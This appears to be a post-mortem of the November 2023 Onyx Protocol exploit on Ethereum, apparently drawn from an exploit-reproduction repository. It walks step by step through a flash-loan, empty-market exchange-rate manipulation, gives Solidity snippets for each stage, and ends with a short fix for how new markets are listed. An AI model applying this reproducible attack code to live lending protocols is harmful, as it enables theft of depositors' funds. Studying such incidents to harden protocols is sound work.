-
Type: Exploit
-
Network: Ethereum
-
Total lost: ~2.1M
-
Category: Manipulation Empty Market
-
Vulnerable contracts:
-
Tokens Lost
-
- 513,987 USDC
-
- 249,534 USDT
-
- 81.32 PAXG
-
- 103,657 DAI
-
- 13.12 WBTC
-
- 10,082 LINK Effectively swapped for ETH $2.1M worth.
-
Attack transactions:
-
- Deployer EOA: 0x085bdff2c522e8637d4154039db8746bb8642bff
-
Attack Block:: 18476513
-
Date: Nov 01, 2023
-
Reproduce:
forge test --match-contract Exploit_Onyx_Protocol -vvv
The Onyx Protocol vulnerability centered on manipulating the protocol's exchange rate calculation (exchangeRate = totalSupply / totalShares). An "empty market" condition was created when Proposal 22 was approved to integrate PEPE token into the protocol. Here's how the vulnerability was exploited:
-
Setup (Get Flash Loan)
- Flash loan 4000 WETH from Aave
- Swap WETH for PEPE tokens
- Create attack contract to manipulate market
-
Market Manipulation (Empty Market Attack)
- Mint small amount of oPEPE (1e18)
- Redeem almost all oPEPE (leave 2 wei)
- This creates minimal share tokens while keeping market active
-
Price manipulation
- Transfer large amount of PEPE to oPEPE market
- This inflates the exchange rate since supply is minimal
- Enter markets to enable borrowing
-
Exploit Inflated Collateral
- Use inflated oPEPE as collateral
- Borrow nearly all ETH from oETH market
- Exchange rate manipulation makes this possible
-
Recover donated funds
- Exploit rounding error to withdraw donated PEPE
- Calculate exact amount needed for liquidation
- Redeem underlying PEPE tokens
-
Liquidation
- Liquidate borrower position with 1 wei ETH
- This triggers seizing of collateral
- Mint precise amount of tokens to reset market
- Redeem remaining collateral
- Repay flash loan with profits
- Gets 4000 WETH from Aave V3 and swaps it for PEPE tokens to prepare for the attack.
AaveV3.flashLoanSimple(address(this), address(WETH), 4000 * 1e18, bytes(""), 0);
Router.swapExactTokensForTokens(WETH.balanceOf(address(this)), amountOut, path, address(this), block.timestamp + 3600);
- Creates minimal share tokens while maintaining an active market by minting and immediately redeeming.
oPEPE.mint(1e18);
oPEPE.redeem(oPEPE.totalSupply() - 2); // Leave 2 wei
- Donate large amount of PEPE to artificially inflate the exchange rate due to minimal supply.
PEPE.transfer(address(oPEPE), PEPE.balanceOf(address(this)));
address[] memory oTokens = new address[](1);
oTokens[0] = address(oPEPE);
Unitroller.enterMarkets(oTokens);
- Uses inflated oPEPE as collateral to borrow almost all ETH from the oETH market.
oETHER.borrow(oETHER.getCash() - 1);
(bool success,) = msg.sender.call{value: address(this).balance}("");
- Exploits rounding error to withdraw donated PEPE and calculates precise liquidation amounts.
oPEPE.redeemUnderlying(redeemAmt);
(,,, uint256 exchangeRate) = oPEPE.getAccountSnapshot(address(this));
(, uint256 numSeizeTokens) = Unitroller.liquidateCalculateSeizeTokens(address(oETHER), address(oPEPE), 1);
- Liquidates position and resets market state through precise token minting.
uint256 mintAmount = (exchangeRate / 1e18) * numSeizeTokens - 2;
oPEPE.mint(mintAmount);
// Repeats process for other tokens (USDC, USDT, PAXG, DAI, WBTC, LINK)
WETH.approve(address(AaveV3), amount + premium);
The attack was executed through three main contracts:
Exploit_Onyx_Protocol: Main contract handling flash loan and token swaps Attacker1Contracts: Handles the initial PEPE token manipulation drain ETH from the Onyx Attacker2Contracts: Replicates the attack for other tokens (USDC, USDT, PAXG, DAI, WBTC, LINK)
For new markets should consider including and preserving the order of these steps:
- Set CF to zero
- List market
- Mint cTokens
- Set CF to non-zero.